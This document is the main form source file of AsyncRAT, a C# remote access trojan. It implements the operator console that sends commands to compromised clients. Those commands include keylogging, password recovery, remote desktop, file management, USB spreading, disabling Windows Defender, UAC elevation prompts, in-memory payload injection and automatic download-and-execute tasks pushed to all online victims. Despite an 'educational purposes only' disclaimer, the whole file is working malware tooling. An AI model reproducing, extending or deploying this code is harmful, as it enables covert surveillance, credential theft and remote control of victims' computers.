using System;
using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using System.Threading.Tasks;
using Microsoft.VisualBasic;
using System.Linq;
using System.Threading;
using System.Drawing;
using System.IO;
using AsyncRAT_Sharp.Forms;
using AsyncRAT_Sharp.Cryptography;
using System.Diagnostics;
using System.Net.Sockets;
using AsyncRAT_Sharp.Handle_Packet;
using AsyncRAT_Sharp.Helper;
using System.Security.Cryptography.X509Certificates;
using System.Collections.Generic;

//       │ Author     : NYAN CAT
//       │ Name       : AsyncRAT // Simple RAT

//       Contact Me   : https://github.com/NYAN-x-CAT

//       This program Is distributed for educational purposes only.

//       Credits;
//       Serialization    @ymofen
//       StreamLibrary    @Dergan
//       Special Thanks   MaxXor@hf gigajew@hf

namespace AsyncRAT_Sharp
{

    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            this.Opacity = 0;
        }

        private Listener listener;
        private bool trans;
        private List<AsyncTask> getTasks = new List<AsyncTask>();

        private void CheckFiles()
        {
            try
            {
                if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config")))
                {
                    File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe);
                    Process.Start(Application.ExecutablePath);
                    Environment.Exit(0);
                }

                if (!File.Exists(Path.Combine(Application.StartupPath, "cGeoIp.dll")))
                    MessageBox.Show("File 'cGeoIp.dll' Not Found!");

                if (!Directory.Exists(Path.Combine(Application.StartupPath, "Stub")))
                    Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub"));

                if (!File.Exists(Path.Combine(Application.StartupPath, "Stub\\Stub.exe")))
                    MessageBox.Show("Stub Not Found!");
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        private async void Form1_Load(object sender, EventArgs e)
        {
            CheckFiles();

            this.Text = $"{Settings.Version}";
#if DEBUG
            Settings.ServerCertificate = new X509Certificate2(Convert.FromBase64String(" "));
            Settings.Port = "6606";
#else
            using (FormPorts portsFrm = new FormPorts())
            {
                portsFrm.ShowDialog();
                Settings.Port = portsFrm.textPorts.Text;
            }

            Properties.Settings.Default.Reload();
#endif


            await Methods.FadeIn(this, 5);
            trans = true;

            await Task.Run(() => Connect());
        }

        private void Connect()
        {
            try
            {
                string[] ports = Settings.Port.Split(',');
                foreach (var port in ports)
                {
                    if (!string.IsNullOrWhiteSpace(port))
                    {
                        listener = new Listener();
                        Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
                        thread.IsBackground = true;
                        thread.Start(Convert.ToInt32(port.ToString().Trim()));
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                Environment.Exit(0);
            }
        }
        private void Form1_FormClosed(object sender, FormClosedEventArgs e)
        {
            notifyIcon1.Dispose();
            Environment.Exit(0);
        }

        private void listView1_KeyDown(object sender, KeyEventArgs e)
        {
            if (listView1.Items.Count > 0)
                if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A)
                    foreach (ListViewItem x in listView1.Items)
                        x.Selected = true;
        }

        private void listView1_MouseMove(object sender, MouseEventArgs e)
        {
            if (listView1.Items.Count > 1)
            {
                ListViewHitTestInfo hitInfo = listView1.HitTest(e.Location);
                if (e.Button == MouseButtons.Left && (hitInfo.Item != null || hitInfo.SubItem != null))
                    listView1.Items[hitInfo.Item.Index].Selected = true;
            }
        }

        private void ping_Tick(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                foreach (ListViewItem itm in listView1.Items)
                {
                    Clients client = (Clients)itm.Tag;
                    ThreadPool.QueueUserWorkItem(client.Ping);
                }
            }
        }

        private void UpdateUI_Tick(object sender, EventArgs e)
        {
            Text = $"{Settings.Version}     {DateTime.Now.ToLongTimeString()}";
            toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()}     Selected {listView1.SelectedItems.Count.ToString()}                    Sent {Methods.BytesToString(Settings.Sent).ToString()}     Received {Methods.BytesToString(Settings.Received).ToString()}                    CPU {(int)performanceCounter1.NextValue()}%     RAM {(int)performanceCounter2.NextValue()}%";
        }

        private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Packet").AsString = "close";
                foreach (ListViewItem itm in listView1.SelectedItems)
                {
                    Clients client = (Clients)itm.Tag;
                    ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                }
            }
        }

        private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!");
                if (string.IsNullOrEmpty(Msgbox))
                    return;
                else
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "sendMessage";
                    msgpack.ForcePathObject("Message").AsString = Msgbox;
                    foreach (ListViewItem itm in listView1.SelectedItems)
                    {
                        Clients client = (Clients)itm.Tag;
                        ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                    }
                }
            }
        }

        private async void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                try
                {
                    OpenFileDialog openFileDialog = new OpenFileDialog();
                    openFileDialog.Multiselect = true;
                    if (openFileDialog.ShowDialog() == DialogResult.OK)
                    {
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString = "sendFile";
                        msgpack.ForcePathObject("Update").AsString = "false";
                        foreach (ListViewItem itm in listView1.SelectedItems)
                        {
                            Clients client = (Clients)itm.Tag;
                            client.LV.ForeColor = Color.Red;
                            foreach (string file in openFileDialog.FileNames)
                            {
                                await msgpack.ForcePathObject("File").LoadFileAsBytes(file);
                                msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(file);
                                ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                    return;
                }
            }
        }

        private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                DialogResult dialogResult = MessageBox.Show(this, "Are you sure you want to unistall", "AsyncRAT | Unistall", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
                if (dialogResult == DialogResult.Yes)
                {
                    try
                    {
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString = "uninstall";
                        foreach (ListViewItem itm in listView1.SelectedItems)
                        {
                            Clients client = (Clients)itm.Tag;
                            ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.Message);
                        return;
                    }
                }
            }
        }

        private void RESTARTToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                try
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "restart";
                    foreach (ListViewItem itm in listView1.SelectedItems)
                    {
                        Clients client = (Clients)itm.Tag;
                        ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }

        private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                try
                {
                    OpenFileDialog openFileDialog = new OpenFileDialog();
                    if (openFileDialog.ShowDialog() == DialogResult.OK)
                    {
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString = "sendFile";
                        await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
                        msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
                        msgpack.ForcePathObject("Update").AsString = "true";
                        foreach (ListViewItem itm in listView1.SelectedItems)
                        {
                            Clients client = (Clients)itm.Tag;
                            client.LV.ForeColor = Color.Red;
                            ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                        }
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                    return;
                }
            }
        }

        private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                try
                {
                    FormSendFileToMemory formSend = new FormSendFileToMemory();
                    formSend.ShowDialog();
                    if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green)
                    {
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString = "sendMemory";
                        msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()));
                        if (formSend.comboBox1.SelectedIndex == 0)
                        {
                            msgpack.ForcePathObject("Inject").AsString = "";
                            msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]);
                        }
                        else
                        {
                            msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
                            msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
                        }

                        foreach (ListViewItem itm in listView1.SelectedItems)
                        {
                            Clients client = (Clients)itm.Tag;
                            client.LV.ForeColor = Color.Red;
                            ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                        }
                    }
                    formSend.Close();
                    formSend.Dispose();
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                    return;
                }
            }
        }

        private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                try
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                    msgpack.ForcePathObject("Quality").AsInteger = 60;
                    foreach (ListViewItem itm in listView1.SelectedItems)
                    {
                        Clients client = (Clients)itm.Tag;
                        this.BeginInvoke((MethodInvoker)(() =>
                        {
                            FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID];
                            if (remoteDesktop == null)
                            {
                                remoteDesktop = new FormRemoteDesktop
                                {
                                    Name = "RemoteDesktop:" + client.ID,
                                    F = this,
                                    Text = "RemoteDesktop:" + client.ID,
                                    C = client,
                                    Active = true
                                };
                                remoteDesktop.Show();
                                ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                            }
                        }));
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                    return;
                }
            }

        }

        private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                if (listView1.SelectedItems.Count > 0)
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "processManager";
                    msgpack.ForcePathObject("Option").AsString = "List";
                    foreach (ListViewItem itm in listView1.SelectedItems)
                    {
                        Clients client = (Clients)itm.Tag;
                        this.BeginInvoke((MethodInvoker)(() =>
                        {
                            FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
                            if (processManager == null)
                            {
                                processManager = new FormProcessManager
                                {
                                    Name = "processManager:" + client.ID,
                                    Text = "processManager:" + client.ID,
                                    F = this,
                                    C = client
                                };
                                processManager.Show();
                                ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                            }
                        }));
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                return;
            }
        }

        private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e)
        {
            using (FormBuilder formBuilder = new FormBuilder())
            {
                formBuilder.ShowDialog();
            }
        }

        private void fILEMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                if (listView1.SelectedItems.Count > 0)
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "fileManager";
                    msgpack.ForcePathObject("Command").AsString = "getDrivers";
                    foreach (ListViewItem itm in listView1.SelectedItems)
                    {
                        Clients client = (Clients)itm.Tag;
                        this.BeginInvoke((MethodInvoker)(() =>
                        {
                            FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                            if (fileManager == null)
                            {
                                fileManager = new FormFileManager
                                {
                                    Name = "fileManager:" + client.ID,
                                    Text = "fileManager:" + client.ID,
                                    F = this,
                                    C = client
                                };
                                fileManager.Show();
                                ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                            }
                        }));
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                return;
            }
        }

        private void KEYLOGGERToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                if (listView1.SelectedItems.Count > 0)
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "keyLogger";
                    msgpack.ForcePathObject("isON").AsString = "true";
                    foreach (ListViewItem itm in listView1.SelectedItems)
                    {
                        Clients client = (Clients)itm.Tag;
                        this.BeginInvoke((MethodInvoker)(() =>
                        {
                            FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
                            if (KL == null)
                            {
                                KL = new FormKeylogger
                                {
                                    Name = "keyLogger:" + client.ID,
                                    Text = "keyLogger:" + client.ID,
                                    F = this,
                                    C = client
                                };
                                KL.Show();
                                ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                            }
                        }));
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                return;
            }
        }

        private void BOTKILLERToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                try
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "botKiller";
                    foreach (ListViewItem itm in listView1.SelectedItems)
                    {
                        Clients client = (Clients)itm.Tag;
                        ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                    return;
                }
            }
        }

        private void USBSPREADToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                try
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "usbSpread";
                    foreach (ListViewItem itm in listView1.SelectedItems)
                    {
                        Clients client = (Clients)itm.Tag;
                        ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                    return;
                }
            }
        }

        private void VISITWEBSITEToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                try
                {
                    string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com");
                    if (string.IsNullOrEmpty(url))
                        return;
                    else
                    {
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString = "visitURL";
                        msgpack.ForcePathObject("URL").AsString = url;
                        foreach (ListViewItem itm in listView1.SelectedItems)
                        {
                            Clients client = (Clients)itm.Tag;
                            ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                        }
                    }
                }
                catch { }
            }
        }

        private void ABOUTToolStripMenuItem_Click(object sender, EventArgs e)
        {
            using (FormAbout formAbout = new FormAbout())
            {
                formAbout.ShowDialog();
            }
        }

        private void Form1_Activated(object sender, EventArgs e)
        {
            if (trans)
                this.Opacity = 1.0;
        }

        private void Form1_Deactivate(object sender, EventArgs e)
        {
            this.Opacity = 0.95;
        }

        private static System.Threading.Timer Tick { get; set; }
        private void STARTToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (Tick == null && listView1.Items.Count > 0)
            {
                Tick = new System.Threading.Timer(GetThumbnails, null, 2500, 5000);
            }
        }
        private void GetThumbnails(object obj)
        {
            if (listView1.Items.Count > 0)
            {
                try
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "thumbnails";

                    foreach (ListViewItem itm in listView1.Items)
                    {
                        Clients client = (Clients)itm.Tag;
                        ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                    }
                }
                catch { }
            }
        }

        private void STOPToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                Tick?.Dispose();
                Tick = null;
                listView3.Items.Clear();
                ThumbnailImageList.Images.Clear();
                foreach (ListViewItem itm in listView1.Items)
                {
                    Clients client = (Clients)itm.Tag;
                    client.LV2 = null;
                }
            }
            catch { }
        }

        private void NotificationOFFToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (Properties.Settings.Default.Notification == true)
            {
                Properties.Settings.Default.Notification = false;
            }
            else
            {
                Properties.Settings.Default.Notification = true;
            }
            Properties.Settings.Default.Save();
        }

        private readonly FormDOS formDOS = new FormDOS();
        private void ToolStripMenuItem1_Click(object sender, EventArgs e)
        {
            formDOS.Show();
        }

        private void WINDOWDSDEFENDERToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                DialogResult dialogResult = MessageBox.Show(this, "Will only execute on clients with administrator privileges!", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
                if (dialogResult == DialogResult.Yes)
                {
                    try
                    {
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString = "defender";
                        foreach (ListViewItem itm in listView1.SelectedItems)
                        {
                            if (itm.SubItems[lv_admin.Index].Text == "Administrator")
                            {
                                Clients client = (Clients)itm.Tag;
                                ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.Message);
                        return;
                    }
                }
            }
        }

        private void GETADMINISTRATORPRIVILEGESToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                DialogResult dialogResult = MessageBox.Show(this, "Popup UAC prompt? ", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
                if (dialogResult == DialogResult.Yes)
                {
                    try
                    {
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString = "uac";
                        foreach (ListViewItem itm in listView1.SelectedItems)
                        {
                            if (itm.SubItems[lv_admin.Index].Text != "Administrator")
                            {
                                Clients client = (Clients)itm.Tag;
                                ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.Message);
                        return;
                    }
                }
            }
        }

        private void PASSWORDRECOVERYToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                try
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
                    foreach (ListViewItem itm in listView1.SelectedItems)
                    {
                        Clients client = (Clients)itm.Tag;
                        ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes());
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                    return;
                }
            }
        }

        private async void DownloadAndExecuteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                OpenFileDialog openFileDialog = new OpenFileDialog();
                if (openFileDialog.ShowDialog() == DialogResult.OK)
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "sendFile";
                    msgpack.ForcePathObject("Update").AsString = "false";
                    await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
                    msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);

                    ListViewItem lv = new ListViewItem();
                    lv.Text = "SendFile: " + Path.GetFileName(openFileDialog.FileName);
                    lv.SubItems.Add("0");
                    lv.ToolTipText = Guid.NewGuid().ToString();
                    Program.form1.listView4.Items.Add(lv);
                    Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);

                    getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText));
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                return;
            }
        }

        private void SENDFILETOMEMORYToolStripMenuItem1_Click(object sender, EventArgs e)
        {
            try
            {
                FormSendFileToMemory formSend = new FormSendFileToMemory();
                formSend.ShowDialog();
                if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green)
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "sendMemory";
                    msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()));
                    if (formSend.comboBox1.SelectedIndex == 0)
                    {
                        msgpack.ForcePathObject("Inject").AsString = "";
                        msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]);
                    }
                    else
                    {
                        msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
                        msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
                    }

                    ListViewItem lv = new ListViewItem();
                    lv.Text = "SendMemory: " + Path.GetFileName(formSend.toolStripStatusLabel1.Tag.ToString());
                    lv.SubItems.Add("0");
                    lv.ToolTipText = Guid.NewGuid().ToString();
                    Program.form1.listView4.Items.Add(lv);
                    Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);

                    getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText));
                }
                formSend.Close();
                formSend.Dispose();
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                return;
            }
        }

        private async void UPDATEToolStripMenuItem1_Click(object sender, EventArgs e)
        {
            try
            {
                OpenFileDialog openFileDialog = new OpenFileDialog();
                if (openFileDialog.ShowDialog() == DialogResult.OK)
                {
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "sendFile";
                    await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
                    msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
                    msgpack.ForcePathObject("Update").AsString = "true";

                    ListViewItem lv = new ListViewItem();
                    lv.Text = "Update: " + Path.GetFileName(openFileDialog.FileName);
                    lv.SubItems.Add("0");
                    lv.ToolTipText = Guid.NewGuid().ToString();
                    Program.form1.listView4.Items.Add(lv);
                    Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);

                    getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText));
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                return;
            }
        }

        private void DELETETASKToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView4.SelectedItems.Count > 0)
            {
                foreach (ListViewItem item in listView4.SelectedItems)
                {
                    item.Remove();
                }
            }
        }

        private async void TimerTask_Tick(object sender, EventArgs e)
        {
            try
            {
                if (getTasks.Count > 0 && Settings.Online.Count > 0)
                    foreach (AsyncTask asyncTask in getTasks.ToList())
                    {
                        if (GetListview(asyncTask.id) == false)
                        {
                            getTasks.Remove(asyncTask);
                            Debug.WriteLine("task removed");
                            return;
                        }
                        foreach (Clients client in Settings.Online)
                        {
                            if (!asyncTask.doneClient.Contains(client.ID))
                            {
                                Debug.WriteLine("task executed");
                                asyncTask.doneClient.Add(client.ID);
                                SetExecution(asyncTask.id);
                                ThreadPool.QueueUserWorkItem(client.BeginSend, asyncTask.msgPack);
                            }
                        }
                        await Task.Delay(15 * 1000);
                    }
            }
            catch { }
        }

        private bool GetListview(string id)
        {
            foreach (ListViewItem item in Program.form1.listView4.Items)
            {
                if (item.ToolTipText == id)
                {
                    return true;
                }
            }
            return false;
        }

        private void SetExecution(string id)
        {
            foreach (ListViewItem item in Program.form1.listView4.Items)
            {
                if (item.ToolTipText == id)
                {
                    int count = Convert.ToInt32(item.SubItems[1].Text);
                    count++;
                    item.SubItems[1].Text = count.ToString();
                }
            }
        }


    }
}